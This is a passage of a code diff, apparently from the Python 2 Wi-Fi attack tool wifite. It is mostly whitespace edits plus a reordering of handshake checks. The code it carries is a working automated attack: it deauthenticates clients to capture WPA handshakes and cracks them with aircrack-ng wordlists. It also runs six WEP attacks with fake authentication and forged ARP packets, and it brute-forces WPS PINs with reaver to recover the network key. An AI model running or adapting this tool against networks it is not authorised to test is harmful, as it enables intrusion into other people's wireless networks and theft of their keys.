'wpa-01.cap'): continue copy(temp + 'wpa-01.cap', temp + 'wpa-01.cap.temp') - + # Save copy of cap file (for debugging) #remove_file('/root/new/wpa-01.cap') #copy(temp + 'wpa-01.cap', '/root/new/wpa-01.cap') - + # Check for handshake if has_handshake(target, temp + 'wpa-01.cap.temp'): got_handshake = True - + try: os.mkdir(WPA_HANDSHAKE_DIR + os.sep) except OSError: pass - + # Kill the airodump and aireplay processes send_interrupt(proc_read) send_interrupt(proc_deauth) - + # Save a copy of the handshake rename(temp + 'wpa-01.cap.temp', save_as) - + print '\n %s %shandshake captured%s! saved as "%s"' % (GR+sec_to_hms(seconds_running)+W, G, W, G+save_as+W) WPA_FINDINGS.append('%s (%s) handshake captured' % (target.ssid, target.bssid)) WPA_FINDINGS.append('saved as %s' % (save_as)) WPA_FINDINGS.append('') - + # Strip handshake if needed if WPA_STRIP_HANDSHAKE: strip_handshake(save_as) - + # Add the filename and SSID to the list of 'to-crack' # Cracking will be handled after all attacks are finished. WPA_CAPS_TO_CRACK.append(CapFile(save_as, target.ssid, target.bssid)) - + break # Break out of while loop - + # No handshake yet os.remove(temp + 'wpa-01.cap.temp') - + # Check the airodump output file for new clients for client in parse_csv(temp + 'wpa-01.csv')[1]: if client.station != target.bssid: continue new_client = True for c in target_clients: - if client.bssid == c.bssid: + if client.bssid == c.bssid: new_client = False break - + if new_client: print " %s %snew client%s found: %s " % \ (GR+sec_to_hms(WPA_ATTACK_TIMEOUT - seconds_running)+W, G, W, \ G+client.bssid+W) target_clients.append(client) - + # End of Handshake wait loop. - + if not got_handshake: print R+' [0:00:00]'+O+' unable to capture handshake in time'+W - - except KeyboardInterrupt: + + except KeyboardInterrupt: print R+'\n (^C)'+O+' WPA handshake capture interrupted'+W if attack_interrupted_prompt(): remove_airodump_files(temp + 'wpa') @@ -1810,13 +1813,13 @@ def wpa_get_handshake(iface, target, clients): send_interrupt(proc_deauth) print '' exit_gracefully(0) - + # clean up remove_airodump_files(temp + 'wpa') send_interrupt(proc_read) send_interrupt(proc_deauth) - + return got_handshake def has_handshake_tshark(target, capfile): @@ -1833,63 +1836,63 @@ def has_handshake_tshark(target, capfile): proc = Popen(cmd, stdout=PIPE, stderr=DN) proc.wait() lines = proc.communicate()[0].split('\n') - + # Get list of all clients in cap file clients = [] for line in lines: if line.find('appears to have been cut short') != -1 or line.find('Running as user "root"') != -1 or line.strip() == '': continue - + while line.startswith(' '): line = line[1:] while line.find(' ') != -1: line = line.replace(' ', ' ') - + fields = line.split(' ') src = fields[2].lower() dst = fields[4].lower() - + if src == target.bssid.lower() and clients.count(dst) == 0: clients.append(dst) elif dst == target.bssid.lower() and clients.count(src) == 0: clients.append(src) - + # Check each client for a handshake for client in clients: msg_num = 1 # Index of message in 4-way handshake (starts at 1) - + for line in lines: if line.find('appears to have been cut short') != -1: continue if line.find('Running as user "root"') != -1: continue if line.strip() == '': continue - + # Sanitize tshark's output, separate into fields while line[0] == ' ': line = line[1:] while line.find(' ') != -1: line = line.replace(' ', ' ') - + fields = line.split(' ') - + # Sometimes tshark doesn't display the full header for "Key (msg 3/4)" on the 3rd handshake. # This catches this glitch and fixes it. - if len(fields) < 8: + if len(fields) < 8: continue elif len(fields) == 8: fields.append('(msg') fields.append('3/4)') - + src = fields[2].lower() # Source MAC address dst = fields[4].lower() # Destination MAC address #msg = fields[9][0] # The message number (1, 2, 3, or 4) msg = fields[-1][0] - + # First, third msgs in 4-way handshake are from the target to client if msg_num % 2 == 1 and (src != target.bssid.lower() or dst != client): continue # Second, fourth msgs in 4-way handshake are from client to target elif msg_num % 2 == 0 and (dst != target.bssid.lower() or src != client): continue - + # The messages must appear in sequential order. try: if int(msg) != msg_num: continue except ValueError: continue - + msg_num += 1 - + # We need the first 4 messages of the 4-way handshake # Although aircrack-ng cracks just fine with only 3 of the messages... if msg_num >= 4: @@ -1902,7 +1905,7 @@ def has_handshake_cowpatty(target, capfile, nonstrict=True): Returns "True" if handshake is found, false otherwise. """ if not program_exists('cowpatty'): return False - + # Call cowpatty to check if capfile contains a valid handshake. cmd = ['cowpatty', '-r', capfile, # input file @@ -1927,7 +1930,7 @@ def has_handshake_pyrit(target, capfile): Returns "True" if handshake is found, false otherwise. """ if not program_exists('pyrit'): return False - + # Call pyrit to "Analyze" the cap file's handshakes. cmd = ['pyrit', '-r', capfile, @@ -1942,7 +1945,7 @@ def has_handshake_pyrit(target, capfile): hit_essid = (line.find("('" + target.ssid + "')") != -1) and \ (line.lower().find(target.bssid.lower()) != -1) #hit_essid = (line.lower().find(target.bssid.lower())) - + else: # If Pyrit says it's good or workable, it's a valid handshake. if hit_essid and (line.find(', good, ') != -1 or \ @@ -1961,7 +1964,7 @@ def has_handshake_aircrack(target, capfile): proc_crack = Popen(crack, stdout=PIPE, stderr=DN, shell=True) proc_crack.wait() txt = proc_crack.communicate()[0] - + return (txt.find('Passphrase not in dictionary') != -1) def has_handshake(target, capfile): @@ -1971,29 +1974,29 @@ def has_handshake(target, capfile): """ valid_handshake = True tried = False - if WPA_HANDSHAKE_TSHARK: + if WPA_HANDSHAKE_AIRCRACK: tried = True - valid_handshake = has_handshake_tshark(target, capfile) - + valid_handshake = has_handshake_aircrack(target, capfile) + if valid_handshake and WPA_HANDSHAKE_COWPATTY: tried = True valid_handshake = has_handshake_cowpatty(target, capfile) - + # Use CowPatty to check for handshake. if valid_handshake and WPA_HANDSHAKE_COWPATTY: tried = True valid_handshake = has_handshake_cowpatty(target, capfile) - + # Check for handshake using Pyrit if applicable if valid_handshake and WPA_HANDSHAKE_PYRIT: tried = True valid_handshake = has_handshake_pyrit(target, capfile) - - # Check for handshake using aircrack-ng - if valid_handshake and WPA_HANDSHAKE_AIRCRACK: + + # Check for handshake using tshark + if valid_handshake and WPA_HANDSHAKE_TSHARK: tried = True - valid_handshake = has_handshake_aircrack(target, capfile) - + valid_handshake = has_handshake_tshark(target, capfile) + if tried: return valid_handshake print R+' [!]'+O+' unable to check for handshake: all handshake options are disabled!' exit_gracefully(1) @@ -2011,7 +2014,7 @@ def strip_handshake(capfile): '-o', output_file, 'strip'] call(cmd,stdout=DN, stderr=DN) - + elif program_exists('tshark'): # strip results with tshark cmd = ['tshark', @@ -2019,9 +2022,9 @@ def strip_handshake(capfile): '-R', 'eapol || wlan_mgt.tag.interpretation', # filter '-w', capfile + '.temp'] # output file proc_strip = call(cmd, stdout=DN, stderr=DN) - + rename(capfile + '.temp', output_file) - + else: print R+" [!]"+O+" unable to strip .cap file: neither pyrit nor tshark were found"+W @@ -2046,7 +2049,7 @@ def load_cracked(): fin = open('cracked.txt', 'r') lines = fin.read().split('\n') fin.close() - + for line in lines: fields = line.split(chr(0)) if len(fields) <= 3: continue @@ -2073,24 +2076,24 @@ def wpa_crack(capfile): print GR+' [0:00:00]'+W+' cracking %s with %s' % (G+capfile.ssid+W, G+'aircrack-ng'+W) start_time = time.time() cracked = False - + remove_file(temp + 'out.out') remove_file(temp + 'wpakey.txt') - + cmd = ['aircrack-ng', '-a', '2', # WPA crack '-w', WPA_DICTIONARY, # Wordlist '-l', temp + 'wpakey.txt', # Save key to file '-b', capfile.bssid, # BSSID of target capfile.filename] - + proc = Popen(cmd, stdout=open(temp + 'out.out', 'a'), stderr=DN) try: kt = 0 # Keys tested kps = 0 # Keys per second - while True: + while True: time.sleep(1) - + if proc.poll() != None: # aircrack stopped if os.path.exists(temp + 'wpakey.txt'): # Cracked @@ -2099,7 +2102,7 @@ def wpa_crack(capfile): inf.close() WPA_FINDINGS.append('cracked wpa key for "%s" (%s): "%s"' % (G+capfile.ssid+W, G+capfile.bssid+W, C+key+W)) WPA_FINDINGS.append('') - + save_cracked(capfile.bssid, capfile.ssid, key, 'WPA') print GR+'\n [+]'+W+' cracked %s (%s)!' % (G+capfile.ssid+W, G+capfile.bssid+W) @@ -2109,7 +2112,7 @@ def wpa_crack(capfile): # Did not crack print R+'\n [!]'+R+'crack attempt failed'+O+': passphrase not in dictionary'+W break - + inf = open(temp + 'out.out', 'r') lines = inf.read().split('\n') inf.close() @@ -2128,17 +2131,17 @@ def wpa_crack(capfile): kpss = line[i+1:j-1] try: kps = float(kpss) except ValueError: pass - + print "\r %s %s keys tested (%s%.2f keys/sec%s) " % \ (GR+sec_to_hms(time.time() - start_time)+W, G+add_commas(kt)+W, G, kps, W), stdout.flush() - + except KeyboardInterrupt: print R+'\n (^C)'+O+' WPA cracking interrupted'+W - + send_interrupt(proc) try: os.kill(proc.pid, SIGTERM) except OSError: pass - + return cracked def add_commas(n): @@ -2179,7 +2182,7 @@ def attack_wep(iface, target, clients): """ global WEP_TIMEOUT, TARGETS_REMAINING if WEP_TIMEOUT <= 0: WEP_TIMEOUT = -1 - + total_attacks = 6 # 4 + (2 if len(clients) > 0 else 0) if not WEP_ARP_REPLAY: total_attacks -= 1 if not WEP_CHOPCHOP: total_attacks -= 1 @@ -2187,20 +2190,20 @@ def attack_wep(iface, target, clients): if not WEP_CAFFELATTE: total_attacks -= 1 if not WEP_P0841: total_attacks -= 1 if not WEP_HIRTE: total_attacks -= 1 - + if total_attacks <= 0: print R+' [!]'+O+' unable to initiate WEP attacks: no attacks are selected!' return False remaining_attacks = total_attacks - + print ' %s preparing attack "%s" (%s)' % \ (GR+sec_to_hms(WEP_TIMEOUT)+W, G+target.ssid+W, G+target.bssid+W) - + interrupted_count = 0 - + remove_airodump_files(temp + 'wep') remove_file(temp + 'wepkey.txt') - + # Start airodump process to capture packets cmd_airodump = ['airodump-ng', '-w', temp + 'wep', # Output file name (wep-01.cap, wep-01.csv) @@ -2210,16 +2213,16 @@ def attack_wep(iface, target, clients): proc_airodump = Popen(cmd_airodump, stdout=DN, stderr=DN) proc_aireplay = None proc_aircrack = None - + successful = False # Flag for when attack is successful started_cracking = False # Flag for when we have started aircrack-ng client_mac = '' # The client mac we will send packets to/from - + total_ivs = 0 ivs = 0 last_ivs = 0 for attack_num in xrange(0, 6): - + # Skip disabled attacks if attack_num == 0 and not WEP_ARP_REPLAY: continue elif attack_num == 1 and not WEP_CHOPCHOP: continue @@ -2227,27 +2230,27 @@ def attack_wep(iface, target, clients): elif attack_num == 3 and not WEP_CAFFELATTE: continue elif attack_num == 4 and not WEP_P0841: continue elif attack_num == 5 and not WEP_HIRTE: continue - + remaining_attacks -= 1 - + try: - + if wep_fake_auth(iface, target, sec_to_hms(WEP_TIMEOUT)): # Successful fake auth client_mac = THIS_MAC - elif not WEP_IGNORE_FAKEAUTH: + elif not WEP_IGNORE_FAKEAUTH: send_interrupt(proc_aireplay) send_interrupt(proc_airodump) print R+' [!]'+O+' unable to fake-authenticate with target' print R+' [!]'+O+' to skip this speed bump, select "ignore-fake-auth" at command-line' return False - + remove_file(temp + 'arp.cap') # Generate the aireplay-ng arguments based on attack_num and other params cmd = get_aireplay_command(iface, attack_num, target, clients, client_mac) if cmd == '': continue proc_aireplay = Popen(cmd, stdout=DN, stderr=DN) - + print '\r %s attacking "%s" via' % (GR+sec_to_hms(WEP_TIMEOUT)+W, G+target.ssid+W), if attack_num == 0: print G+'arp-replay', elif attack_num == 1: print G+'chop-chop', @@ -2256,16 +2259,16 @@ def attack_wep(iface, target, clients): elif attack_num == 4: print G+'p0841', elif attack_num == 5: print G+'hirte', print 'attack'+W - + print ' %s captured %s%d%s ivs @ %s iv/sec' % (GR+sec_to_hms(WEP_TIMEOUT)+W, G, total_ivs, W, G+'0'+W), stdout.flush() - + time.sleep(1) if attack_num == 1: # Send a deauth packet to broadcast and all clients *just because!* wep_send_deauths(iface, target, clients) last_deauth = time.time() - + replaying = False time_started = time.time() while time.time() - time_started < WEP_TIMEOUT: @@ -2273,14 +2276,14 @@ def attack_wep(iface, target, clients): for time_count in xrange(0, 6): if WEP_TIMEOUT == -1: current_hms = "[endless]" - else: + else: current_hms = sec_to_hms(WEP_TIMEOUT - (time.time() - time_started)) print "\r %s\r" % (GR+current_hms+W), stdout.flush() time.sleep(1) - + # Calculates total seconds remaining - + # Check number of IVs captured csv = parse_csv(temp + 'wep-01.csv')[0] if len(csv) > 0: @@ -2288,13 +2291,13 @@ def attack_wep(iface, target, clients): print "\r ", print "\r %s captured %s%d%s ivs @ %s%d%s iv/sec" % \ (GR+current_hms+W, G, total_ivs + ivs, W, G, (ivs - last_ivs) / 5, W), - + if ivs - last_ivs == 0 and time.time() - last_deauth > 30: print "\r %s deauthing to generate packets..." % (GR+current_hms+W), wep_send_deauths(iface, target, clients) print "done\r", last_deauth = time.time() - + last_ivs = ivs stdout.flush() if total_ivs + ivs >= WEP_CRACK_AT_IVS and not started_cracking: @@ -2311,7 +2314,7 @@ def attack_wep(iface, target, clients): print "\r %s started %s (%sover %d ivs%s)" % (GR+current_hms+W, G+'cracking'+W, G, WEP_CRACK_AT_IVS, W) proc_aircrack = Popen(cmd, stdout=DN, stderr=DN) started_cracking = True - + # Check if key has been cracked yet. if os.path.exists(temp + 'wepkey.txt'): # Cracked! @@ -2321,9 +2324,9 @@ def attack_wep(iface, target, clients): print '\n\n %s %s %s (%s)! key: "%s"' % (current_hms, G+'cracked', target.ssid+W, G+target.bssid+W, C+key+W) WEP_FINDINGS.append('cracked %s (%s), key: "%s"' % (target.ssid, target.bssid, key)) WEP_FINDINGS.append('') - + save_cracked(target.bssid, target.ssid, key, 'WEP') - + # Kill processes send_interrupt(proc_airodump) send_interrupt(proc_aireplay) @@ -2335,19 +2338,19 @@ def attack_wep(iface, target, clients): remove_airodump_files(temp + 'wep') remove_file(temp + 'wepkey.txt') return True - + # Check if aireplay is still executing - if proc_aireplay.poll() == None: + if proc_aireplay.poll() == None: if replaying: print ', '+G+'replaying \r'+W, elif attack_num == 1 or attack_num == 2: print ', waiting for packet \r', stdout.flush() continue - + # At this point, aireplay has stopped if attack_num != 1 and attack_num != 2: print '\r %s attack failed: %saireplay-ng exited unexpectedly%s' % (R+current_hms, O, W) break # Break out of attack's While loop - + # Check for a .XOR file (we expect one when doing chopchop/fragmentation xor_file = '' for filename in sorted(os.listdir(temp)): @@ -2355,7 +2358,7 @@ def attack_wep(iface, target, clients): if xor_file == '': print '\r %s attack failed: %sunable to generate keystream %s' % (R+current_hms, O, W) break - + remove_file(temp + 'arp.cap') cmd = ['packetforge-ng', '-0', @@ -2375,7 +2378,7 @@ def attack_wep(iface, target, clients): if not forged_packet.find('Wrote packet'): print "\r %s attack failed: unable to forget ARP packet %s" % (R+current_hms+O, w) break - + # We were able to forge a packet, so let's replay it via aireplay-ng cmd = ['aireplay-ng', '--arpreplay', @@ -2384,10 +2387,10 @@ def attack_wep(iface, target, clients): '-F', # Select the first packet iface] proc_aireplay = Popen(cmd, stdout=DN, stderr=DN) - + print '\r %s forged %s! %s... ' % (GR+current_hms+W, G+'arp packet'+W, G+'replaying'+W) replaying = True - + # After the attacks, if we are already cracking, wait for the key to be found! while started_cracking: # ivs > WEP_CRACK_AT_IVS: time.sleep(5) @@ -2399,7 +2402,7 @@ def attack_wep(iface, target, clients): (G, total_ivs + ivs, W, G, (ivs - last_ivs) / 5, W), last_ivs = ivs stdout.flush() - + # Check if key has been cracked yet. if os.path.exists(temp + 'wepkey.txt'): # Cracked! @@ -2409,9 +2412,9 @@ def attack_wep(iface, target, clients): print GR+'\n\n [endless] %s %s (%s)! key: "%s"' % (G+'cracked', target.ssid+W, G+target.bssid+W, C+key+W) WEP_FINDINGS.append('cracked %s (%s), key: "%s"' % (target.ssid, target.bssid, key)) WEP_FINDINGS.append('') - + save_cracked(target.bssid, target.ssid, key, 'WEP') - + # Kill processes send_interrupt(proc_airodump) send_interrupt(proc_aireplay) @@ -2420,32 +2423,32 @@ def attack_wep(iface, target, clients): remove_airodump_files(temp + 'wep') remove_file(temp + 'wepkey.txt') return True - + # Keyboard interrupt during attack except KeyboardInterrupt: print R+'\n (^C)'+O+' WEP attack interrupted\n'+W - + send_interrupt(proc_airodump) if proc_aireplay != None: send_interrupt(proc_aireplay) if proc_aircrack != None: send_interrupt(proc_aircrack) - + options = [] selections = [] if remaining_attacks > 0: options.append('%scontinue%s attacking this target (%d remaining WEP attack%s)' % \ (G, W, (remaining_attacks), 's' if remaining_attacks != 1 else '')) selections.append(G+'c'+W) - + if TARGETS_REMAINING > 0: options.append('%sskip%s this target, move onto next target (%d remaining target%s)' % \ (O, W, TARGETS_REMAINING, 's' if TARGETS_REMAINING != 1 else '')) selections.append(O+'s'+W) - + options.append('%sexit%s the program completely' % (R, W)) selections.append(R+'e'+W) - + if len(options) > 1: # Ask user what they want to do, Store answer in "response" print GR+' [+]'+W+' what do you want to do?' @@ -2456,7 +2459,7 @@ def attack_wep(iface, target, clients): response = raw_input(GR+' [+]'+W+' please make a selection (%s): ' % (', '.join(selections))).lower()[0] else: response = 'e' - + if response == 'e' or response == 's': # Exit or skip target (either way, stop this attack) if WEP_SAVE: @@ -2465,7 +2468,7 @@ def attack_wep(iface, target, clients): try: rename(temp + 'wep-01.cap', save_as) except OSError: print R+' [!]'+O+' unable to save capture file!'+W else: print GR+' [+]'+W+' packet capture '+G+'saved'+W+' to '+G+save_as+W - + # Remove files generated by airodump/aireplay/packetforce for filename in os.listdir('.'): if filename.startswith('replay_arp-') and filename.endswith('.cap'): @@ -2476,7 +2479,7 @@ def attack_wep(iface, target, clients): if response == 'e': exit_gracefully(0) return - + elif response == 'c': # Continue attacks # Need to backup temp/wep-01.cap and remove airodump files @@ -2485,31 +2488,31 @@ def attack_wep(iface, target, clients): i += 1 copy(temp + "wep-01.cap", temp + 'wep-' + str(i) + '.cap') remove_airodump_files(temp + 'wep') - + # Need to restart airodump-ng, as it's been interrupted/killed proc_airodump = Popen(cmd_airodump, stdout=DN, stderr=DN) - + # Say we haven't started cracking yet, so we re-start if needed. started_cracking = False - + # Reset IVs counters for proper behavior total_ivs += ivs ivs = 0 last_ivs = 0 - + # Also need to remember to crack "temp/*.cap" instead of just wep-01.cap pass - - + + if successful: print GR+'\n [0:00:00]'+W+' attack complete: '+G+'success!'+W else: print GR+'\n [0:00:00]'+W+' attack complete: '+R+'failure'+W - + send_interrupt(proc_airodump) if proc_aireplay != None: send_interrupt(proc_aireplay) - + # Remove files generated by airodump/aireplay/packetforce for filename in os.listdir('.'): if filename.startswith('replay_arp-') and filename.endswith('.cap'): @@ -2526,13 +2529,13 @@ def wep_fake_auth(iface, target, time_to_display): """ max_wait = 3 # Time, in seconds, to allow each fake authentication max_attempts = 5 # Number of attempts to make - + for fa_index in xrange(1, max_attempts + 1): print '\r ', print '\r %s attempting %sfake authentication%s (%d/%d)... ' % \ (GR+time_to_display+W, G, W, fa_index, max_attempts), stdout.flush() - + cmd = ['aireplay-ng', '-1', '0', # Fake auth, no delay '-a', target.bssid, @@ -2541,7 +2544,7 @@ def wep_fake_auth(iface, target, time_to_display): cmd.append('-e') cmd.append(target.ssid) cmd.append(iface) - + proc_fakeauth = Popen(cmd, stdout=PIPE, stderr=DN) started = time.time() while proc_fakeauth.poll() == None and time.time() - started <= max_wait: pass @@ -2551,7 +2554,7 @@ def wep_fake_auth(iface, target, time_to_display): stdout.flush() time.sleep(0.5) continue - + result = proc_fakeauth.communicate()[0].lower() if result.find('switching to shared key') != -1 or \ result.find('rejects open system'): pass @@ -2559,14 +2562,14 @@ def wep_fake_auth(iface, target, time_to_display): if result.find('association successful') != -1: print G+'success!'+W return True - + print R+'failed'+W, stdout.flush() time.sleep(0.5) continue print '' return False - + def get_aireplay_command(iface, attack_num, target, clients, client_mac): """ @@ -2578,14 +2581,14 @@ def get_aireplay_command(iface, attack_num, target, clients, client_mac): '--arpreplay', '-b', target.bssid, '-x', str(WEP_PPS)] # Packets per second - if client_mac != '': + if client_mac != '': cmd.append('-h') cmd.append(client_mac) - elif len(clients) > 0: + elif len(clients) > 0: cmd.append('-h') cmd.append(clients[0].bssid) cmd.append(iface) - + elif attack_num == 1: cmd = ['aireplay-ng', '--chopchop', @@ -2594,14 +2597,14 @@ def get_aireplay_command(iface, attack_num, target, clients, client_mac): '-m', '60', # Minimum packet length (bytes) '-n', '82', # Maxmimum packet length '-F'] # Automatically choose the first packet - if client_mac != '': + if client_mac != '': cmd.append('-h') cmd.append(client_mac) - elif len(clients) > 0: + elif len(clients) > 0: cmd.append('-h') cmd.append(clients[0].bssid) cmd.append(iface) - + elif attack_num == 2: cmd = ['aireplay-ng', '--fragment', @@ -2609,14 +2612,14 @@ def get_aireplay_command(iface, attack_num, target, clients, client_mac): '-x', str(WEP_PPS), # Packets per second '-m', '100', # Minimum packet length (bytes) '-F'] # Automatically choose the first packet - if client_mac != '': + if client_mac != '': cmd.append('-h') cmd.append(client_mac) - elif len(clients) > 0: + elif len(clients) > 0: cmd.append('-h') cmd.append(clients[0].bssid) cmd.append(iface) - + elif attack_num == 3: cmd = ['aireplay-ng', '--caffe-latte', @@ -2625,7 +2628,7 @@ def get_aireplay_command(iface, attack_num, target, clients, client_mac): cmd.append('-h') cmd.append(clients[0].bssid) cmd.append(iface) - + elif attack_num == 4: cmd = ['aireplay-ng', '--interactive', @@ -2636,7 +2639,7 @@ def get_aireplay_command(iface, attack_num, target, clients, client_mac): '-F', # Automatically choose the first packet '-p', '0841'] cmd.append(iface) - + elif attack_num == 5: if len(clients) == 0: print R+' [0:00:00] unable to carry out hirte attack: '+O+'no clients' @@ -2645,7 +2648,7 @@ def get_aireplay_command(iface, attack_num, target, clients, client_mac): '--cfrag', '-h', clients[0].bssid, iface] - + return cmd @@ -2689,10 +2692,10 @@ def wps_attack(iface, target): Once PIN is found, PSK can be recovered. PSK is displayed to user and added to WPS_FINDINGS """ - + print GR+' [0:00:00]'+W+' initializing %sWPS PIN attack%s on %s' % \ (G, W, G+target.ssid+W+' ('+G+target.bssid+W+')'+W) - + cmd = ['reaver', '-i', iface, '-b', target.bssid, @@ -2702,7 +2705,7 @@ def wps_attack(iface, target): # '--ignore-locks', '-vv'] # verbose output proc = Popen(cmd, stdout=DN, stderr=DN) - + cracked = False # Flag for when password/pin is found percent = 'x.xx%' # Percentage complete aps = 'x' # Seconds per attempt @@ -2714,13 +2717,13 @@ def wps_attack(iface, target): tries = 0 # Number of successful attempts pin = '' key = '' - + try: while not cracked: time.sleep(1) - + if proc.poll() != None: - # Process stopped: Cracked? Failed? + # Process stopped: Cracked? Failed? inf = open(temp + 'out.out', 'r') lines = inf.read().split('\n') inf.close() @@ -2734,11 +2737,11 @@ def wps_attack(iface, target): break if not os.path.exists(temp + 'out.out'): continue - + inf = open(temp + 'out.out', 'r') lines = inf.read().split('\n') inf.close() - + for line in lines: if line.strip() == '': continue # Status @@ -2750,7 +2753,7 @@ def wps_attack(iface, target): # PIN attempt elif line.find(' Trying pin ') != -1: pin = line.strip().split(' ')[-1] - if pin == last_pin: + if pin == last_pin: retries += 1 elif tries_total == 0: last_pin = pin @@ -2761,10 +2764,10 @@ def wps_attack(iface, target): last_pin = pin retries = 0 tries_total += 1 - + # Warning elif line.endswith('10 failed connections in a row'): pass - + # Check for PIN/PSK elif line.find("WPS PIN: '") != -1: pin = line[line.find("WPS PIN: '") + 10:-1] @@ -2772,56 +2775,56 @@ def wps_attack(iface, target): key = line[line.find("WPA PSK: '") + 10:-1] cracked = True if cracked: break - + print ' %s WPS attack, %s success/ttl,' % \ (GR+sec_to_hms(time.time()-time_started)+W, \ G+str(tries)+W+'/'+O+str(tries_total)+W), - + if percent == 'x.xx%' and aps == 'x': print '\r', else: print '%s complete (%s sec/att) \r' % (G+percent+W, G+aps+W), - - + + if WPS_TIMEOUT > 0 and (time.time() - last_success) > WPS_TIMEOUT: print R+'\n [!]'+O+' unable to complete successful try in %d seconds' % (WPS_TIMEOUT) print R+' [+]'+W+' skipping %s' % (O+target.ssid+W) break - + if WPS_MAX_RETRIES > 0 and retries > WPS_MAX_RETRIES: print R+'\n [!]'+O+' unable to complete successful try in %d retries' % (WPS_MAX_RETRIES) print R+' [+]'+O+' the access point may have WPS-locking enabled, or is too far away'+W print R+' [+]'+W+' skipping %s' % (O+target.ssid+W) break - + if WPS_RATIO_THRESHOLD > 0.0 and tries > 0 and (float(tries) / tries_total) < WPS_RATIO_THRESHOLD: print R+'\n [!]'+O+' successful/total attempts ratio was too low (< %.2f)' % (WPS_RATIO_THRESHOLD) print R+' [+]'+W+' skipping %s' % (G+target.ssid+W) break - + stdout.flush() # Clear out output file if bigger than 1mb inf = open(temp + 'out.out', 'w') inf.close() - + # End of big "while not cracked" loop - + if cracked: if pin != '': print GR+'\n\n [+]'+G+' PIN found: %s' % (C+pin+W) if key != '': print GR+' [+] %sWPA key found:%s %s' % (G, W, C+key+W) WPA_FINDINGS.append(W+"found %s's WPA key: \"%s\", WPS PIN: %s" % (G+target.ssid+W, C+key+W, C+pin+W)) WPA_FINDINGS.append('') - + save_cracked(target.bssid, target.ssid, "Key is '" + key + "' and PIN is '" + pin + "'", 'WPA') - + except KeyboardInterrupt: print R+'\n (^C)'+O+' WPS brute-force attack interrupted'+W if attack_interrupted_prompt(): send_interrupt(proc) print '' exit_gracefully(0) - + send_interrupt(proc) - + return cracked @@ -2838,6 +2841,5 @@ def wps_attack(iface, target): main() except KeyboardInterrupt: print R+'\n (^C)'+O+' interrupted\n'+W except EOFError: print R+'\n (^D)'+O+' interrupted\n'+W - - exit_gracefully(0) + exit_gracefully(0)